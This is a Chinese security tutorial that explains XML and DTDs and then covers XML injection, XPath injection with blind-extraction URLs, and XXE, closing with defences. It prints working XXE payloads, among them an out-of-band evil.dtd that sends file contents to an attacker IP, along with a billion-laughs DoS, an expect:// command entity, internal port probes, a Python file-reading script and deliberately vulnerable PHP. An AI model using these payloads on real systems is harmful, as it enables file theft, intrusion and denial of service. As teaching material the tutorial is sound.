從XML相關一步一步到XXE漏洞

本文首發於先知社區

0x00 前言

想學XXE漏洞,XXE(XML External Entity Injection) 全稱爲 XML 外部實體注入。XML?!發現我不會,簡單看了一下基礎知識,發現XML還可能存在XML注入和XPath注入。那就把XML注入、XPath注入和XML 外部實體注入一起學習了吧!

0x01 XML

什麼是 XML?
XML 指可擴展標記語言(EXtensible Markup Language)。
XML 的設計宗旨是傳輸數據,而不是顯示數據。
XML 是 W3C 的推薦標準。
XML 不會做任何事情。XML 被設計用來結構化、存儲以及傳輸信息。
XML 語言沒有預定義的標籤。

XML 和 HTML 之間的差異
XML 不是 HTML 的替代。
XML 和 HTML 爲不同的目的而設計:

XML 被設計用來傳輸和存儲數據,其焦點是數據的內容。
HTML 被設計用來顯示數據,其焦點是數據的外觀。
HTML 旨在顯示信息,而 XML 旨在傳輸信息。

爲什麼需要XML
現實生活中一些數據之間往往存在一定的關係。我們希望能在計算機中保存和處理這些數據的同時能夠保存和處理他們之間的關係。XML就是爲了解決這樣的需求而產生數據存儲格式。

XML基本格式與基本語法
基本格式:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的聲明-->
<bookstore>                                                 <!--根元素-->
<book category="COOKING">        <!--bookstore的子元素,category爲屬性-->
<title>Everyday Italian</title>           <!--book的子元素,lang爲屬性-->
<author>Giada De Laurentiis</author>                  <!--book的子元素-->
<year>2005</year>                                     <!--book的子元素-->
<price>30.00</price>                                  <!--book的子元素-->
</book>                                                 <!--book的結束-->
</bookstore>                                       <!--bookstore的結束-->

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> 稱爲 XML prolog ,用於聲明XML文檔的版本和編碼,是可選的,必須放在文檔開頭。
standalone值是yes的時候表示DTD僅用於驗證文檔結構,從而外部實體將被禁用,但它的默認值是no,而且有些parser會直接忽略這一項。

基本語法:

  • 所有 XML 元素都須有關閉標籤。
  • XML 標籤對大小寫敏感。
  • XML 必須正確地嵌套。
  • XML 文檔必須有根元素。
  • XML 的屬性值須加引號。

若多個字符都需要轉義,則可以將這些內容存放到CDATA裏面

<![CDATA[ 內容 ]]>

0x02 DTD

DTD基本概念
XML 文檔有自己的一個格式規範,這個格式規範是由一個叫做 DTD(document type definition) 的東西控制的。
DTD用來爲XML文檔定義語義約束。可以嵌入在XML文檔中(內部聲明),也可以獨立的放在另外一個單獨的文件中(外部引用)。是XML文檔中的幾條語句,用來說明哪些元素/屬性是合法的以及元素間應當怎樣嵌套/結合,也用來將一些特殊字符和可複用代碼段自定義爲實體。
實體引用
XML元素以形如 <tag>foo</tag> 的標籤開始和結束,如果元素內部出現如< 的特殊字符,解析就會失敗,爲了避免這種情況,XML用實體引用(entity reference)替換特殊字符。XML預定義五個實體引用,即用&lt; &gt; &amp; &apos; &quot; 替換 < > & ' "
實體引用可以起到類似宏定義和文件包含的效果,爲了方便,我們會希望自定義實體引用,這個操作在稱爲 Document Type Defination(DTD,文檔類型定義)的過程中進行。

dtd的引入方式

DTD(文檔類型定義)的作用是定義 XML 文檔的合法構建模塊。DTD 可以在 XML 文檔內聲明,也可以外部引用。
內部 DTD
使用內部的dtd文件,即將約束規則定義在xml文檔中

<!DOCTYPE 根元素名稱 [元素聲明]>

示例代碼:

<?xml version="1.0"?>
<!DOCTYPE note [<!--定義此文檔是 note 類型的文檔-->
<!ELEMENT note (to,from,heading,body)><!--定義note元素有四個元素-->
<!ELEMENT to (#PCDATA)><!--定義to元素爲”#PCDATA”類型-->
<!ELEMENT from (#PCDATA)><!--定義from元素爲”#PCDATA”類型-->
<!ELEMENT head (#PCDATA)><!--定義head元素爲”#PCDATA”類型-->
<!ELEMENT body (#PCDATA)><!--定義body元素爲”#PCDATA”類型-->
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

外部 DTD
(1)引入外部的dtd文件

<!DOCTYPE 根元素名稱 SYSTEM "dtd路徑">

(2)使用外部的dtd文件(網絡上的dtd文件)

<!DOCTYPE 根元素 PUBLIC "DTD名稱" "DTD文檔的URL">

當使用外部DTD時,通過如下語法引入:

 <!DOCTYPE root-element SYSTEM "filename">

示例代碼:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root-element SYSTEM "test.dtd">
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

test.dtd

<!ELEMENT to (#PCDATA)><!--定義to元素爲”#PCDATA”類型-->
<!ELEMENT from (#PCDATA)><!--定義from元素爲”#PCDATA”類型-->
<!ELEMENT head (#PCDATA)><!--定義head元素爲”#PCDATA”類型-->
<!ELEMENT body (#PCDATA)><!--定義body元素爲”#PCDATA”類型-->

PCDATA
PCDATA的意思是被解析的字符數據。PCDATA是會被解析器解析的文本。這些文本將被解析器檢查實體以及標記。文本中的標籤會被當作標記來處理,而實體會被展開。
被解析的字符數據不應當包含任何&<,或者>字符,需要用&amp; &lt; &gt;實體來分別替換。
CDATA
CDATA意思是字符數據,CDATA 是不會被解析器解析的文本,在這些文本中的標籤不會被當作標記來對待,其中的實體也不會被展開。

DTD元素

在這裏插入圖片描述

DTD屬性

屬性聲明語法

<!ATTLIST 元素名稱 屬性名稱 屬性類型 默認值>

DTD實例:

<!ATTLIST payment Luckey CDATA "Q">

XML實例:

<payment Luckey="Q" />

以下是 屬性類型的選項:
在這裏插入圖片描述
默認屬性值可使用下列值:
在這裏插入圖片描述

DTD實體

實體是用於定義引用普通文本或特殊字符的快捷方式的變量。
實體引用是對實體的引用。
實體可在內部或外部進行聲明。

按實體有無參分類,實體分爲一般實體和參數實體
一般實體的聲明<!ENTITY 實體名稱 "實體內容">
引用一般實體的方法:&實體名稱;
ps:經實驗,普通實體可以在DTD中引用,可以在XML中引用,可以在聲明前引用,還可以在實體聲明內部引用。

參數實體的聲明<!ENTITY % 實體名稱 "實體內容">
引用參數實體的方法:%實體名稱;
ps:經實驗,參數實體只能在DTD中引用,不能在聲明前引用,也不能在實體聲明內部引用。
DTD實體是用於定義引用普通文本或特殊字符的快捷方式的變量,可以內部聲明或外部引用。

按實體使用方式分類,實體分爲內部聲明實體和引用外部實體
內部實體

<!ENTITY 實體名稱 "實體的值">

內部實體示例代碼:

<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
	<!ENTITY writer "Dawn">
	<!ENTITY copyright "Copyright W3School.com.cn">
]>
<test>&writer;©right;</test>

外部實體
外部實體,用來引入外部資源。有SYSTEMPUBLIC兩個關鍵字,表示實體來自本地計算機還是公共計算機。

<!ENTITY 實體名稱 SYSTEM "URI/URL">
或者
<!ENTITY 實體名稱 PUBLIC "public_ID" "URI">

外部實體示例代碼:

<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
    <!ENTITY file SYSTEM "file:///etc/passwd">
    <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&file;©right;</author>

外部實體可支持http、file等協議。不同程序支持的協議不同:
在這裏插入圖片描述
PHP支持的協議會更多一些,但需要一定的擴展:
在這裏插入圖片描述
PHP引用外部實體,常見的利用協議

file://文件絕對路徑 如:file:///etc/passwd
http://url/file.txt
php://filter/read=convert.base64-encode/resource=xxx.php

參數實體+外部實體

<!ENTITY % 實體名稱 SYSTEM "URI/URL">

參數實體+外部實體示例代碼:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  %file;
]>

%file(參數實體)是在DTD中被引用的,而&file;是在xml文檔中被引用的。

0x03 XML注入

XML的設計宗旨是傳輸數據,而非顯示數據。
XML注入是一種古老的技術,通過利用閉合標籤改寫XML文件實現的。

XML注入簡介

XML是一種數據組織存儲的數據結構方式,安全的XML在用戶輸入生成新的數據時候應該只能允許用戶接受的數據,需要過濾掉一些可以改變XML標籤也就是說改變XML結構插入新功能(例如新的賬戶信息,等於添加了賬戶)的特殊輸入,如果沒有過濾,則可以導致XML注入攻擊。

XML注入前提條件

(1)用戶能夠控制數據的輸入
(2)程序有拼湊的數據

注入實例
test1.xml

<?xml version="1.0" encoding="utf-8"?>
<manager>
    <admin id="1">
    <username>admin</username>
	<password>admin</password>
	
	</admin>
	<admin id="2">
	<username>root</username>
	<password>root</password>
	</admin>
</manager>

XML與HTML一樣,也存在注入攻擊,在注入的方法上也非常相似。
對於上面的xml文件,如果攻擊者能夠掌控password字段,那麼就會產生XML注入。如攻擊者輸入:

admin </password></admin><admin id="3"><name>hack</name><password>hacker</password></admin>

最終修改結果爲:

<?xml version="1.0" encoding="utf-8"?>
<manager>
	<admin id="1">
    <name>admin</name>
    <password>admin</password>
	</admin>
	<admin id="2">
	<username>root</username>
	<password>root</password>
	</admin>
	<admin id="3">
    <name>hack</name>
    <password>hacker</password>
	</admin>
</manager>

這樣就通過XML注入添加了一個名爲hack、密碼爲:hacker的管理員賬戶。
XML注入兩大要素:標籤閉合和獲取XML表結構

XML注入防禦

(1)對用戶的輸入進行過濾
(2)對用戶的輸入進行轉義

預定義字符 轉以後的預定義字符
< &lt;
> &gt;
& &amp;
' &apos;
" &quot;

0x04 XPath注入

XPath注入攻擊簡介

XPath注入攻擊是指利用XPath 解析器的鬆散輸入和容錯特性,能夠在 URL、表單或其它信息上附帶惡意的XPath 查詢代碼,以獲得權限信息的訪問權並更改這些信息。XPath注入攻擊是針對Web服務應用新的攻擊方法,它允許攻擊者在事先不知道XPath查詢相關知識的情況下,通過XPath查詢得到一個XML文檔的完整內容。

XPath注入攻擊發生

XPath注入發生在當站點使用用戶輸入的信息來構造請求以獲取XML數據。攻擊者對站點發送經過特殊構造的信息來探究站點使用的XML是如何構造的,從而進一步獲取正常途徑下無法獲取的數據。當XML數據被用作賬戶驗證時,攻擊者還可以提升他的權限。

XPath注入攻擊特點

XPath注入攻擊利用兩種技術,即XPath掃描XPath查詢布爾化。通過該攻擊,攻擊者可以控制用來進行XPath查詢的XML數據庫。這種攻擊可以有效地對付使用XPath查詢(和XML數據庫) 來執行身份驗證、查找或者其它操作。

XPath注入攻擊同SQL注入攻擊類似,但與SQL注入相比,XPath具有的優勢:

  1. 廣泛性
    只要是利用XPath語法的Web 應用程序若未對輸入的XPath查詢做嚴格的處理都會存在XPath注入漏洞。而在SQL注入攻擊過程中根據數據庫支持的SQL語言不同,注入攻擊的實現可能不同。

  2. 危害性大
    XPath語言幾乎可以沒有訪問控制限制的引用XML文檔的所有部分。而在SQL注入中,一個“用戶”的權限可能被限制到 某一特定的表、列或者查詢。
    XPath注入攻擊可以保證得到完整的XML文檔,即完整的數據庫。只要Web服務應用具有基本的安全漏洞,即可構造針對 XPath應用的自動攻擊。

Xpath注入攻擊原理

XPath注入攻擊主要是通過構建特殊的輸入,這些輸入往往是XPath語法中的一些組合,這些輸入將作爲參數傳入Web 應用程序,通過執行XPath查詢而執行入侵者想要的操作。
注入對象不是數據庫users表,而是一個存儲數據的XML文件。因爲xpath不存在訪問控制,所以不會遇到許多在SQL注入中經常遇到的訪問限制。 注入出現的位置也就是cookieheadersrequest parameters/input等。
Xpath基本語法
xPath注入學習之基礎語法學習

Xpath注入攻擊利用

如果一個網站某應用程序將數據保存在XML中,並且對用戶的輸入沒有做限制,攻擊者提交了沒有經過處理的輸入,就插入到 XPath 查詢中,即產生Xpath注入,那麼就攻擊者就可能通過控制查詢,獲取數據,或者刪除數據之類的操作。

Xpath是xml路徑語言,用於配置文件的查找。數據庫就是xml文件。因此只要是利用XPath語法的Web 應用程序如果未對輸入的XPath查詢做嚴格的處理都會存在XPath注入漏洞。比如一些登錄地址頁面,搜索頁面需要與xml交互的位置。
1、Xpath直接注入
示例代碼:
test2.xml(存儲用戶名和密碼)

<?xml version="1.0" encoding="UTF-8"?>
<root>
    <users> 
        <user> 
            <id>1</id>
            <username>test1</username>
            <password>test1</password>
        </user> 
        <user> 
            <id>2</id>
            <username>test2</username>
            <password>test2</password>
        </user>
    </users>
</root>

2.php(用於接收傳入參數,並進行XML查詢)

<?php
$xml=simplexml_load_file('test2.xml');
$name=$_GET['name'];
$pwd=$_GET['pwd'];
$query="/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";
echo $query;
$result=$xml->xpath($query);
if($result){
	echo '<h2>Welcome</h2>';
	foreach($result as $key=>$value){
		echo '<br />ID:'.$value->id;
		echo '<br />Username:'.$value->username;
	}
}
?>

simplexml_load_file()函數
返回類 SimpleXMLElement 的一個對象,該對象的屬性包含 XML 文檔中的數據

正常查詢:/root/users/user[username/text()='test1'and password/text()='test1']
在這裏插入圖片描述
攻擊者在username字段中輸入:' or 1=1 or ''='
變成/root/users/user[username/text()='' or 1=1 or ''='' and password/text()='1'],成功獲取所有user數據。上面這個字符串會在邏輯上使查詢一直返回 true 並將一直允許攻擊者訪問系統。
在這裏插入圖片描述
攻擊者可以利用 XPath 在應用程序中動態地操作 XML 文檔。攻擊完成登錄可以再通過XPath盲注技術獲取最高權限帳號和其它重要文檔信息。
2、XPath盲注
如果遍歷出整個XML文檔,一般步驟如下:
1.盲注根節點
利用count(/*)判斷根下節點:

http://127.0.0.1/xml/2.php?name=' or count(/*) = 1 or '1' = '2

在這裏插入圖片描述
有返回結果證明存在一個根節點。
利用substring分割根節點的每個字符,猜解第一級節點:

http://127.0.0.1/xml/2.php?name=' or substring(name(/*[position() = 1]),1,1)='r' or '1'='2
http://127.0.0.1/xml/2.php?name=' or substring(name(/*[position() = 1]),2,1)='o' or '1'='2


最終結果: root
2.盲注root的下一級節點
判斷root的下一級節點數:

http://127.0.0.1/xml/2.php?name=' or count(/root/*) = 1 or '1' = '2

有返回結果證明存在一個root的下一級節點。
在這裏插入圖片描述
猜解root的下一級節點:

http://127.0.0.1/xml/2.php?name=' or substring(name(/root/*[position() = 1]),1,1)='u' or '1'='2
http://127.0.0.1/xml/2.php?name=' or substring(name(/root/*[position() = 1]),2,1)='s' or '1'='2

最終結果:users
重複上述步驟,直至猜解出所有節點,最後來猜解節點中的數據或屬性值。

Xpath注入攻擊危害

  • 在URL及表單中提交惡意XPath代碼,可獲取到權限限制數據的訪問權,並可修改這些數據。
  • 可通過此類漏洞查詢獲取到系統內部完整的XML文檔內容。
  • 邏輯以及認證被繞過,它不像數據庫那樣有各種權限,xml沒有各種權限的概念,正因爲沒有權限概念,因此利用xpath構造查詢的時候整個數據庫都會被用戶讀取。

Xpath注入攻擊防禦

  1. 數據提交到服務器上端,在服務端正式處理這批數據之前,對提交數據的合法性進行驗證。
  2. 檢查提交的數據是否包含特殊字符,對特殊字符進行編碼轉換或替換、刪除敏感字符或字符串。
  3. 對於系統出現的錯誤信息,以IE錯誤編碼信息替換,屏蔽系統本身的出錯信息。
  4. 參數化XPath查詢,將需要構建的XPath查詢表達式,以變量的形式表示,變量不是可以執行的腳本。
  5. 通過MD5、SSL等加密算法,對於數據敏感信息和在數據傳輸過程中加密,即使某些非法用戶通過非法手法獲取數據包,看到的也是加密後的信息。 總結下就是:限制提交非法字符,對輸入內容嚴格檢查過濾,參數化XPath查詢的變量。

0x05 XML外部實體注入(XXE)

XXE漏洞簡介

XXE漏洞全稱XML External Entity Injection 即XML外部實體注入。
XXE漏洞發生在應用程序解析XML輸入時,沒有禁止外部實體的加載,導致可加載惡意外部文件和代碼,造成任意文件讀取、命令執行、內網端口掃描、攻擊內網網站、發起Dos攻擊等危害。
XXE漏洞觸發的點往往是可以上傳xml文件的位置,沒有對上傳的xml文件進行過濾,導致可上傳惡意xml文件。

解析xml在php庫libxml,libxml>=2.9.0的版本中沒有XXE漏洞。
simplexml_load_string()可以讀取XML

XXE本地搭建環境測試

xxe.php

<?php
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();
$dom->loadXML($xmlfile);
$xml=simplexml_import_dom($dom);
$xxe=$xml->xxe;
$str="$xxe \n";
echo $str;
?>
  • file_get_contents獲取客戶端輸入內容
  • new DOMDocument()初始化XML解析器
  • loadXML($xmlfile)加載客戶端輸入的XML內容
  • simplexml_import_dom($dom)獲取XML文檔節點,如果成功則返回SimpleXMLElement對象,如果失敗則返回FALSE。
  • 獲取SimpleXMLElement對象中的節點XXE,然後輸出XXE內容。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY file SYSTEM "file:///d://qwzf.txt">
]>
<xml>
<xxe>&file;</xxe>
</xml>

在這裏插入圖片描述

XXE常見利用方式

與SQL相似,XXE漏洞也分爲有回顯和無回顯
有回顯,可以直接在頁面中看到payload的執行結果或現象。
無回顯,又稱爲blind xxe,可以使用外帶數據(OOB)通道提取數據。即可以引用遠程服務器上的XML文件讀取文件。

1、讀取任意文件

首先準備一個有XXE漏洞的文件,這裏以php文件爲例
示例代碼

<?php
$xml = simplexml_load_string($_REQUEST['xml']);
print_r($xml);//註釋掉該語句即爲無回顯的情況
?>

構造payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY file SYSTEM "file:///d://qwzf.txt" >
]>
<root>
<name>&file;</name>
</root>

在這裏插入圖片描述
讀取文件,需URL編碼後執行。
通過構造外部實體payload,在 xml 中 &file ; 變成了外部文件qwzf.txt中內容,導致敏感信息泄露。
靶場練習
使用一下靶場練習回顯讀取文件和無回顯讀取文件:xxe-lab
在這裏插入圖片描述
輸入,抓包發包,發現通過XML傳輸數據
在這裏插入圖片描述
php源碼

<?php
$USERNAME = 'admin'; //賬號
$PASSWORD = 'admin'; //密碼
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
	$dom = new DOMDocument();
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
	$creds = simplexml_import_dom($dom);
	$username = $creds->username;
	$password = $creds->password;
	if($username == $USERNAME && $password == $PASSWORD){
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
	}else{
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
	}	
}catch(Exception $e){
	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
  1. 有回顯

構造payload

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM  "file:///d:/qwzf.txt">
]>
<user>
  <username>&file;</username>
  <password>hack</password>
</user>

在這裏插入圖片描述
當然,也可以使用php://filter協議讀取qwzf.txt文件內容(也可以讀取其他類型的文件,如:php文件)

php://filter/read=convert.base64-encode/resource=
  1. 無回顯

修改源碼,禁掉輸出代碼和報錯信息,改成無回顯。
在這裏插入圖片描述
遇到無回顯,可以通過Blind XXE方法加上外帶數據通道來提取數據,先使用php://filter協議獲取目標文件的內容,然後將內容以http請求發送到攻擊服務器來讀取數據。雖無法直接查看文件內容,但我們可以使用易受攻擊的服務器作爲代理,在外部網絡上執行掃描以及代碼。即,當無回顯情況時,可以將數據發送到遠程服務器(攻擊服務器)。

這裏我使用的攻擊機ip爲:192.168.201.128

構造payload

<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/qwzf.txt">
<!ENTITY % dtd SYSTEM "http://192.168.201.128/evil.dtd">
%dtd;
%send;
]>

遠程服務器部署evil.dtd內容爲:

<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.201.128/?content=%file;'>"> %payload;

%要進行實體編碼&#x25
進行XXE攻擊後,服務器會把文件內容發送到攻擊者服務器(這裏是ubantu的apache日誌記錄)
在這裏插入圖片描述
ubantu查看apache日誌記錄命令:

tail -f /var/log/apache2/access.log

無回顯攻擊流程:

  • 先調用%dtd,請求遠程服務器(攻擊服務器)上的evil.dtd
  • 再調用 evil.dtd中的 %file%file 獲取受攻擊的服務器上面的敏感文件,然後將 %file 的返回結果傳到%send
  • 然後調用 %send; 把讀取到的數據發送到遠程服務器上。

這樣就實現了外帶數據的效果,解決 XXE 無回顯的問題。

使用並分析惡意腳本
xxe2.php

<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo $xml->name;
?>

讀取文件.py

#!/usr/bin/python
# -*- coding:utf-8 -*-
import urllib2

if __name__ == '__main__':

    print u'輸入要訪問的地址,如http://127.0.0.1/xml/xxe2.php'
    url = raw_input()
    count=1
    while count==1:
        print u'輸入要讀取的文件,如file:///etc/passwd'
        payload = raw_input()
        headers = {'Content-type': 'text/xml'}
        xml = '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "' + payload + '" >]><root><name>&xxe;</name></root>'
        req = urllib2.Request(url = url,headers = headers, data = xml)
        res_data = urllib2.urlopen(req)
        res = res_data.read()
        print res

在這裏插入圖片描述
通過urllib2的request方法用POST方式向目標地址發送XML數據,返回的數據即爲服務器相關文件內容。

2、執行系統命令

在安裝expect擴展的PHP環境裏執行系統命令,其他協議也有可能可以執行系統命令。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>

通過XXE可以實現RCE的實例很少。

3、拒絕服務攻擊(Dos)
<?xml version="1.0"?>
   <!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

原理:遞歸引用,lol 實體具體還有 “lol” 字符串,然後一個 lol2 實體引用了 10 次 lol 實體,一個 lol3 實體引用了 10 次 lol2 實體,此時一個 lol3 實體就含有 10^2 個 “lol” 了,以此類推,lol9 實體含有 10^8 個 “lol” 字符串,最後再引用lol9。

4、探測內網端口
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&xxe;</name>
</root>

3306端口開放
在這裏插入圖片描述
3389端口未開放
在這裏插入圖片描述

5、攻擊內網網站
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>
<root>
<name>&xxe;</name>
</root>

0x06 XXE漏洞防禦

1、使用開發語言提供的禁用外部實體的方法
php:

libxml_disable_entity_loader(true);

java:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2、過濾用戶提交的XML數據
過濾關鍵字:<\!DOCTYPE<\!ENTITY,或者SYSTEMPUBLIC
3、不允許XML中含有自己定義的DTD

0x07 後記

總算把常見XML漏洞學完了,這裏重點學習了XXE漏洞(XML外部實體注入)。整體來說,收穫很大。

參考博客:
XML實體注入漏洞
漏洞利用: XML外部實體(XXE)注入

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章